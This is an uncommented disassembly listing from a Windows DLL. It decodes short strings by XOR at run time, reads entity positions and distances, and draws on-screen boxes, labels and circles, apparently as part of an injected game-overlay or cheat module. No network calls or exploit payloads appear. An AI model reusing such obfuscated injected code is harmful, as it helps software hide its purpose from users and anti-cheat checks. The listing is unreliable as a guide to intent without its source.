call fcn.1800ea8b0
movzx ecx, byte [0x1801c3f40]
lea rdx, [rbp + 0xd68]
movsd xmm0, qword [str.RYUNS]
xor cl, 0x3e
movsd qword [rbp + 0xd68], xmm0
mov r8, rax
xor byte [rbp + 0xd69], 0x37
xor byte [rbp + 0xd6a], 0x38
xor byte [rbp + 0xd6b], 0x39
xor byte [rbp + 0xd6c], 0x3a
xor byte [rbp + 0xd6d], 0x3b
xor byte [rbp + 0xd6e], 0x3c
xor byte [rbp + 0xd6f], 0x3d
mov byte [rbp + 0xd70], cl
lea rcx, [rbp + 0x3060]
mov byte [rbp + 0xd68], 0x48
call fcn.180054750
lea rcx, [rbp + 0x2cf0]
call fcn.180068dd0
mov rax, qword [0x180249310]
lea rcx, [rbp + 0x2d10]
cvttss2si edx, dword [rax + rbx]
call fcn.1800ea8b0
cmp byte [0x1801c3f4f], r14b
mov r10, rax
mov rcx, qword [str.wEUVH]
mov qword [rbp + 0x8a8], rcx
je 0x18009e4c4
cmp r12d, 2
jl 0x18009e486
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x8a8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x8a8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x8ac]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x8ac], xmm2
jmp 0x18009e4c4
lea r9, [rbp + 0x8a8]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18009e490
mov r8, r10
lea rdx, [rbp + 0x8a8]
lea rcx, [rbp + 0x30e0]
call fcn.180054750
lea rcx, [rbp + 0x2d10]
call fcn.180068dd0
cmp byte [0x1801c3f67], r14b
movups xmm0, xmmword [0x1801c3f50]
movups xmmword [rbp + 0x2790], xmm0
movsd xmm0, qword [0x1801c3f60]
movsd qword [rbp + 0x27a0], xmm0
je 0x18009e674
cmp r12d, 2
jl 0x18009e635
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2794]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x18009e540
jmp 0x18009e674
lea r9, [rbp + 0x2790]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x18009e640
xorps xmm0, xmm0
lea rax, [rbp + 0x2790]
xorps xmm1, xmm1
mov r8, r13
movups xmmword [rbp + 0x3120], xmm0
movdqu xmmword [rbp + 0x3130], xmm1
inc r8
cmp byte [rax + r8], r14b
jne 0x18009e693
lea rdx, [rbp + 0x2790]
lea rcx, [rbp + 0x3120]
call fcn.180001450
mov rax, qword [0x180249380]
lea rcx, [rbp + 0x2d30]
mov edx, dword [rbx + rax + 4]
shr edx, 0x1e
and edx, 1
call fcn.1800ea8b0
movzx ecx, byte [0x1801c3f78]
mov r10, rax
mov byte [rbp + 0x1f78], cl
mov r8d, r14d
movups xmm0, xmmword [0x1801c3f68]
movups xmmword [rbp + 0x1f68], xmm0
cmp r12d, 2
jl 0x18009e80b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f6c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009e710
cmp r8d, 0x11
jge 0x18009e854
movsxd rax, r8d
lea r9, [rbp + 0x1f68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009e820
mov r8, r10
lea rdx, [rbp + 0x1f68]
lea rcx, [rbp + 0x3000]
call fcn.180054750
lea rcx, [rbp + 0x2d30]
call fcn.180068dd0
mov rax, qword [0x1802492e8]
mov rcx, qword [rbx + rax]
test rcx, rcx
je 0x18009ea71
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x18009ea71
mov edx, dword [rax + 0x10]
mov rcx, r15
call fcn.1800afe50
mov rdx, rax
lea rcx, [rbp + 0x2d50]
call fcn.1800635b0
movzx ecx, byte [0x1801c3f90]
mov r10, rax
mov byte [rbp + 0x1f90], cl
mov r8d, r14d
movups xmm0, xmmword [str.uBJK_UH]
movups xmmword [rbp + 0x1f80], xmm0
cmp r12d, 2
jl 0x18009e9eb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f84]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009e8f0
cmp r8d, 0x11
jge 0x18009ea34
movsxd rax, r8d
lea r9, [rbp + 0x1f80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009ea00
mov r8, r10
lea rdx, [rbp + 0x1f80]
lea rcx, [rbp + 0x2d70]
call fcn.180054750
mov rdx, rax
lea rcx, [rbp + 0x3120]
call fcn.180069650
lea rcx, [rbp + 0x2d70]
call fcn.180068dd0
lea rcx, [rbp + 0x2d50]
call fcn.180068dd0
mov rax, qword [0x18024b0a0]
movsd xmm0, qword [rax + 0x90]
movaps xmm2, xmm0
movsd qword [rsp + 0x50], xmm0
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
subss xmm2, dword [rbx + 0x94]
movss xmm0, dword [rax + 0x98]
subss xmm0, dword [rbx + 0x98]
subss xmm1, dword [rbx + 0x90]
mulss xmm2, xmm2
mulss xmm0, xmm0
mulss xmm1, xmm1
addss xmm2, xmm1
addss xmm2, xmm0
xorps xmm0, xmm0
ucomiss xmm0, xmm2
ja 0x18009ead5
xorps xmm0, xmm0
sqrtss xmm0, xmm2
jmp 0x18009eadd
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrtf
cvttss2si edx, xmm0
lea rcx, [rbp + 0x2d90]
call fcn.1800ea8b0
movzx edx, word [0x1801c3fa0]
mov r8, rax
movzx ecx, byte [0x1801c3fa2]
movsd xmm0, qword [str.rKM_U_X]
xor cl, 0x40
movsd qword [rbp + 0x11c8], xmm0
xor byte [rbp + 0x11c9], 0x37
xor byte [rbp + 0x11ca], 0x38
xor byte [rbp + 0x11cb], 0x39
xor byte [rbp + 0x11cc], 0x3a
xor byte [rbp + 0x11cd], 0x3b
xor byte [rbp + 0x11ce], 0x3c
xor byte [rbp + 0x11cf], 0x3d
mov word [rbp + 0x11d0], dx
xor dl, 0x3e
xor byte [rbp + 0x11d1], 0x3f
mov byte [rbp + 0x11d0], dl
lea rdx, [rbp + 0x11c8]
mov byte [rbp + 0x11d2], cl
lea rcx, [rbp + 0x3140]
mov byte [rbp + 0x11c8], 0x44
call fcn.180054750
lea rcx, [rbp + 0x2d90]
call fcn.180068dd0
call fcn.180016f10
movss xmm6, dword [0x1801ad89c]
lea rcx, [rbp + 0x2f10]
xor r9d, r9d
movss dword [rsp + 0x20], xmm6
xor r8d, r8d
mov rdx, rsi
mov rbx, rax
call fcn.180011790
cmp qword [rbp + 0x3078], 0xf
lea rdx, [rbp + 0x3060]
lea rcx, [rbp + 0x2f18]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x3060]
xor r9d, r9d
xor r8d, r8d
call fcn.180011790
cmp qword [rbp + 0x30f8], 0xf
lea rdx, [rbp + 0x30e0]
lea rcx, [rbp + 0x2f20]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x30e0]
xor r9d, r9d
xor r8d, r8d
call fcn.180011790
cmp qword [rbp + 0x3138], 0xf
lea rdx, [rbp + 0x3120]
lea rcx, [rbp + 0x2f28]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x3120]
xor r9d, r9d
xor r8d, r8d
call fcn.180011790
cmp qword [rbp + 0x3158], 0xf
lea rdx, [rbp + 0x3140]
lea rcx, [rbp + 0x2f30]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x3140]
xor r9d, r9d
xor r8d, r8d
call fcn.180011790
cmp qword [rbp + 0x3018], 0xf
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x2f38]
movss dword [rsp + 0x20], xmm6
cmova rdx, qword [rbp + 0x3000]
xor r9d, r9d
xor r8d, r8d
call fcn.180011790
movss xmm2, dword [rbp + 0x2f30]
movss xmm4, dword [rbp + 0x2f38]
movaps xmm0, xmm2
movss xmm1, dword [rbp + 0x2f28]
maxss xmm0, xmm4
comiss xmm1, xmm0
jbe 0x18009ecc4
movaps xmm5, xmm1
jmp 0x18009ecc7
movaps xmm5, xmm0
movss xmm3, dword [rbp + 0x2f20]
comiss xmm3, xmm5
jbe 0x18009ecd9
movaps xmm6, xmm3
jmp 0x18009ece6
comiss xmm1, xmm0
jbe 0x18009ece3
movaps xmm6, xmm1
jmp 0x18009ece6
movaps xmm6, xmm0
movss xmm5, dword [rbp + 0x2f18]
comiss xmm5, xmm6
jbe 0x18009ecf8
movaps xmm0, xmm5
jmp 0x18009ed17
comiss xmm1, xmm0
jbe 0x18009ed02
movaps xmm6, xmm1
jmp 0x18009ed05
movaps xmm6, xmm0
comiss xmm3, xmm6
jbe 0x18009ed0f
movaps xmm0, xmm3
jmp 0x18009ed17
comiss xmm1, xmm0
jbe 0x18009ed17
movaps xmm0, xmm1
movss xmm6, dword [rbp + 0x2f10]
comiss xmm6, xmm0
ja 0x18009eda2
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm1, xmm0
jbe 0x18009ed35
movaps xmm0, xmm1
jmp 0x18009ed3c
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm3, xmm0
jbe 0x18009ed46
movaps xmm0, xmm3
jmp 0x18009ed5e
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm1, xmm0
jbe 0x18009ed57
movaps xmm0, xmm1
jmp 0x18009ed5e
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm5, xmm0
jbe 0x18009ed68
movaps xmm6, xmm5
jmp 0x18009eda2
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm1, xmm0
jbe 0x18009ed79
movaps xmm0, xmm1
jmp 0x18009ed80
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm3, xmm0
jbe 0x18009ed8a
movaps xmm6, xmm3
jmp 0x18009eda2
movaps xmm0, xmm2
maxss xmm0, xmm4
comiss xmm1, xmm0
jbe 0x18009ed9b
movaps xmm6, xmm1
jmp 0x18009eda2
maxss xmm2, xmm4
movaps xmm6, xmm2
movss xmm7, dword [0x1801ad808]
movss xmm8, dword [0x1801c6dd4]
addss xmm6, xmm7
movaps xmm0, xmm6
subss xmm0, xmm7
comiss xmm1, xmm0
jbe 0x18009edcc
movss xmm8, dword [0x1801c6ddc]
movss xmm0, dword [rbx + 8]
minss xmm8, dword [0x1801ad880]
subss xmm0, xmm6
mov dword [rbp + 0x2ef4], 0x41a00000
subss xmm0, xmm7
movss dword [rbp + 0x2ef0], xmm0
call fcn.1800165b0
movss xmm0, dword [rbp + 0x2ef0]
lea r8, [rbp + 0x8e8]
movss xmm1, dword [rbp + 0x2ef4]
addss xmm0, xmm6
addss xmm1, xmm8
mov dword [rsp + 0x28], r14d
mov r9d, 0xc81e1e1e
lea rdx, [rbp + 0x2ef0]
mov rcx, rax
mov rdi, rax
movss dword [rbp + 0x8e8], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x8ec], xmm1
call fcn.18002e5e0
movdqa xmm0, xmmword [0x1801ad990]
lea rcx, [rbp + 0x1de0]
movss xmm1, dword [0x1801ad7bc]
movups xmmword [rbp + 0x1de0], xmm0
call fcn.180016770
movss xmm0, dword [rbp + 0x2ef4]
lea rdx, [rbp + 0x8f0]
movss xmm8, dword [0x1801ad7f0]
movaps xmm1, xmm6
subss xmm1, dword [rbp + 0x2f10]
addss xmm0, xmm8
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8d, eax
mov rcx, rdi
mov ebx, eax
mulss xmm1, dword [0x1801ad7b8]
movss dword [rbp + 0x8f4], xmm0
addss xmm1, dword [rbp + 0x2ef0]
movss dword [rbp + 0x8f0], xmm1
call fcn.180031050
movss xmm1, dword [rbp + 0x2ef0]
lea r8, [rbp + 0x2f48]
movss xmm2, dword [rbp + 0x2ef4]
lea rdx, [rbp + 0x2f40]
addss xmm2, dword [0x1801b3f2c]
movaps xmm0, xmm1
mov r9d, ebx
addss xmm0, xmm8
mov rcx, rdi
addss xmm1, xmm6
movss dword [rbp + 0x2f44], xmm2
movss dword [rbp + 0x2f4c], xmm2
movss dword [rbp + 0x2f40], xmm0
movss xmm0, dword [0x1801ad7bc]
subss xmm1, xmm8
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x2f48], xmm1
call fcn.18002d4e0
movss xmm0, dword [rbp + 0x2ef0]
lea r9, [rbp + 0x3060]
movss xmm6, dword [rbp + 0x2ef4]
addss xmm0, xmm8
addss xmm6, dword [0x1801ad834]
cmp qword [rbp + 0x3078], 0xf
lea rdx, [rbp + 0x908]
mov r8d, ebx
mov qword [rsp + 0x20], r14
cmova r9, qword [rbp + 0x3060]
mov rcx, rdi
movss dword [rbp + 0x908], xmm0
movss dword [rbp + 0x90c], xmm6
call fcn.180031050
movss xmm0, dword [rbp + 0x2ef0]
lea r9, [rbp + 0x30e0]
cmp qword [rbp + 0x30f8], 0xf
addss xmm0, xmm8
cmova r9, qword [rbp + 0x30e0]
movss dword [rbp + 0x910], xmm0
movaps xmm1, xmm6
mov qword [rsp + 0x20], r14
addss xmm1, xmm7
mov r8d, ebx
lea rdx, [rbp + 0x910]
mov rcx, rdi
movss dword [rbp + 0x914], xmm1
call fcn.180031050
movss xmm0, dword [rbp + 0x2ef0]
lea r9, [rbp + 0x3120]
cmp qword [rbp + 0x3138], 0xf
addss xmm0, xmm8
movaps xmm1, xmm6
mov qword [rsp + 0x20], r14
addss xmm1, dword [0x1801ad834]
cmova r9, qword [rbp + 0x3120]
lea rdx, [rbp + 0x918]
mov r8d, ebx
mov rcx, rdi
movss dword [rbp + 0x918], xmm0
movss dword [rbp + 0x91c], xmm1
call fcn.180031050
movss xmm0, dword [rbp + 0x2ef0]
lea r9, [rbp + 0x3140]
cmp qword [rbp + 0x3158], 0xf
addss xmm0, xmm8
movaps xmm1, xmm6
mov qword [rsp + 0x20], r14
addss xmm1, dword [0x1801b3f30]
cmova r9, qword [rbp + 0x3140]
lea rdx, [rbp + 0x920]
mov r8d, ebx
mov rcx, rdi
movss dword [rbp + 0x920], xmm0
movss dword [rbp + 0x924], xmm1
call fcn.180031050
movss xmm0, dword [rbp + 0x2ef0]
lea r9, [rbp + 0x3000]
addss xmm6, dword [0x1801ad858]
cmp qword [rbp + 0x3018], 0xf
addss xmm0, xmm8
mov r8d, ebx
mov qword [rsp + 0x20], r14
cmova r9, qword [rbp + 0x3000]
lea rdx, [rbp + 0x928]
mov rcx, rdi
movss dword [rbp + 0x92c], xmm6
movss dword [rbp + 0x928], xmm0
call fcn.180031050
lea rcx, [rbp + 0x3140]
call fcn.180068dd0
lea rcx, [rbp + 0x3000]
call fcn.180068dd0
lea rcx, [rbp + 0x3120]
call fcn.180068dd0
lea rcx, [rbp + 0x30e0]
call fcn.180068dd0
lea rcx, [rbp + 0x3060]
call fcn.180068dd0
mov r8d, dword [0x18024b4f8]
movss xmm6, dword [0x1801c6d20]
movsd xmm7, qword [0x1801c6d50]
jmp 0x18009f14e
mov r8d, dword [0x18024b4f8]
lea r15, [0x18024b4e0]
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18009f452
mov rax, qword [0x180249270]
mov r9, qword [rax]
test r9, r9
je 0x18009f452
mov esi, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul esi, r8d
movsxd rcx, r8d
movzx edx, byte [rax + rcx]
add rsi, qword [r9]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
and rsi, rdx
je 0x18009f452
call fcn.1800178d0
mulsd xmm0, xmm7
mov edi, r14d
cvtsd2ss xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm15, dword [0x1801b3edc]
movaps xmm14, xmm0
addss xmm14, dword [0x1801ad7c4]
mulss xmm14, dword [0x1801ad7b8]
lea eax, [rdi + 1]
movd xmm12, edi
cvtdq2ps xmm12, xmm12
lea rdx, [rsp + 0x50]
mov r9d, 1
mov r8, rsi
mov rcx, r15
movd xmm13, eax
cvtdq2ps xmm13, xmm13
mulss xmm12, xmm8
mulss xmm13, xmm8
mulss xmm12, xmm6
mulss xmm13, xmm6
call fcn.1800af570
mov eax, dword [rsi + 0x98]
movaps xmm0, xmm12
movsd xmm6, qword [rsi + 0x90]
mov dword [rbp + 0x188], eax
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm11, dword [rsp + 0x58]
movaps xmm10, xmm0
mulss xmm10, xmm14
movaps xmm7, xmm6
movaps xmm9, xmm11
shufps xmm7, xmm7, 0x55
addss xmm9, dword [0x1801b905c]
movaps xmm0, xmm13
movsd qword [rbp + 0x180], xmm6
addss xmm10, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
addss xmm11, dword [0x1801b905c]
movaps xmm8, xmm0
movaps xmm0, xmm12
mulss xmm8, xmm14
addss xmm8, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm14
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x2f50]
mov rcx, r15
movss dword [rbp - 0x3c], xmm10
movss dword [rbp - 0x38], xmm9
addss xmm0, dword [rbp + 0x180]
movss dword [rbp - 0x40], xmm0
call fcn.1800eaec0
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm14
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x2f58]
mov rcx, r15
movss dword [rsp + 0x74], xmm8
movss dword [rsp + 0x78], xmm11
addss xmm0, dword [rbp + 0x180]
movss dword [rsp + 0x70], xmm0
call fcn.1800eaec0
movss xmm3, dword [rbp + 0x2f50]
xorps xmm4, xmm4
comiss xmm3, xmm4
jb 0x18009f3c7
movss xmm0, dword [rbp + 0x2f54]
comiss xmm0, xmm4
jb 0x18009f3c7
movss xmm1, dword [rbp + 0x2f58]
comiss xmm1, xmm4
jb 0x18009f3c7
movss xmm2, dword [rbp + 0x2f5c]
comiss xmm2, xmm4
jb 0x18009f3c7
comiss xmm3, xmm15
jb 0x18009f3c7
comiss xmm0, xmm15
jb 0x18009f3c7
mov rax, qword [0x1802492c0]
movss xmm4, dword [rax]
comiss xmm4, xmm3
jb 0x18009f3c7
movss xmm3, dword [rax + 4]
comiss xmm3, xmm0
jb 0x18009f3c7
comiss xmm1, xmm15
jb 0x18009f3c7
comiss xmm2, xmm15
jb 0x18009f3c7
comiss xmm4, xmm1
jb 0x18009f3c7
comiss xmm3, xmm2
jb 0x18009f3c7
call fcn.1800165b0
movdqa xmm0, xmmword [0x1801c71c0]
lea rcx, [rbp + 0x1e90]
movups xmmword [rbp + 0x1e90], xmm0
mov rbx, rax
call fcn.180012650
movss xmm0, dword [0x1801ad7c4]
lea r8, [rbp + 0x2f58]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2f50]
mov rcx, rbx
call fcn.18002d4e0
movss xmm6, dword [0x1801c6d20]
inc edi
movss xmm8, dword [0x1801ad7f0]
cmp edi, 0x24
jl 0x18009f1d1
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x940]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x940], 0x44070000
movss dword [rbp + 0x944], xmm0
call fcn.180025700
movdqa xmm14, xmmword [0x1801c73d0]
movdqa xmm15, xmmword [0x1801c6e40]
movss xmm9, dword [0x1801b3f44]
movdqa xmm10, xmmword [0x1801c6f20]
movdqa xmm11, xmmword [0x1801c6e90]
movdqa xmm12, xmmword [0x1801c6e50]
movdqa xmm13, xmmword [rbp + 0x2f80]
jmp 0x18009f480
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x940]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x940], 0x44070000
movss dword [rbp + 0x944], xmm0
call fcn.180025700
mov eax, dword [0x1801c3fa4]
lea rdx, [rbp + 0x948]
mov dword [rbp + 0x2c0], eax
lea rcx, [rbp + 0x2c0]
movzx eax, word [0x1801c3fa8]
mov r9d, 8
xor byte [rbp + 0x2c1], 0x37
xor r8d, r8d
xor byte [rbp + 0x2c2], 0x38
xor byte [rbp + 0x2c3], 0x39
mov word [rbp + 0x2c4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2c4], 0x3a
xor al, 0x3c
xor byte [rbp + 0x2c5], 0x3b
mov byte [rbp + 0x2c6], al
mov dword [rbp + 0x94c], 0x4405c000
mov dword [rbp + 0x948], 0x43a00000
mov byte [rbp + 0x2c0], Ordinal_79
call fcn.18000fcc0
movzx eax, byte [0x1801c3fb8]
lea rdx, [rbp + 0x950]
movsd xmm0, qword [0x1801c3fb0]
lea rcx, [rbp + 0xd78]
movsd qword [rbp + 0xd78], xmm0
xor al, 0x3e
xor byte [rbp + 0xd79], 0x37
xor r9d, r9d
xor byte [rbp + 0xd7a], 0x38
mov r8b, 1
xor byte [rbp + 0xd7b], 0x39
xor byte [rbp + 0xd7c], 0x3a
xor byte [rbp + 0xd7d], 0x3b
xor byte [rbp + 0xd7e], 0x3c
xor byte [rbp + 0xd7f], 0x3d
mov byte [rbp + 0xd80], al
mov dword [rbp + 0x950], 0x43a00000
mov dword [rbp + 0x954], 0x43ed8000
mov byte [rbp + 0xd78], 0x53
call fcn.180003d00
lea rcx, [rbp + 0x958]
call fcn.180016840
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0xd88]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c3fc8]
movss dword [rbp + 0x960], xmm0
xor al, 0x3e
movsd xmm0, qword [0x1801c3fc0]
movsd qword [rbp + 0xd88], xmm0
xor byte [rbp + 0xd89], 0x37
xor byte [rbp + 0xd8a], 0x38
xor byte [rbp + 0xd8b], 0x39
xor byte [rbp + 0xd8c], 0x3a
xor byte [rbp + 0xd8d], 0x3b
xor byte [rbp + 0xd8e], 0x3c
xor byte [rbp + 0xd8f], 0x3d
mov byte [rbp + 0xd88], 0x54
mov dword [rbp + 0x964], 0x42200000
mov byte [rbp + 0xd90], al
call fcn.180002c70
test al, al
je 0x18009f69f
mov r10, qword [0x18024b0a0]
test r10, r10
je 0x18009f69f
mov rax, qword [0x180249270]
mov r8, qword [rax]
test r8, r8
je 0x18009f69f
movsxd r9, dword [0x18024b4f8]
mov rax, qword [r8 + 8]
movzx edx, byte [rax + r9]
and edx, 0x80
neg rdx
sar rdx, 0x3f
not rdx
test rdx, rdx
je 0x18009f69f
mov eax, dword [r8 + 0x14]
imul eax, r9d
add rax, qword [r8]
and rax, rdx
je 0x18009f69f
cmp qword [r10 + 0xd0], r14
je 0x18009f69f
movsd xmm0, qword [rax + 0x90]
lea r8, [rsp + 0x70]
mov eax, dword [rax + 0x98]
xor r9d, r9d
mov rdx, r10
movsd qword [rsp + 0x70], xmm0
mov rcx, r15
mov dword [rsp + 0x78], eax
call fcn.1800e7d20
call fcn.180016980
movss xmm6, dword [0x1801ad7d4]
addss xmm0, xmm6
call fcn.1800257a0
mov rax, qword [0x180249270]
mov r8, qword [rax]
test r8, r8
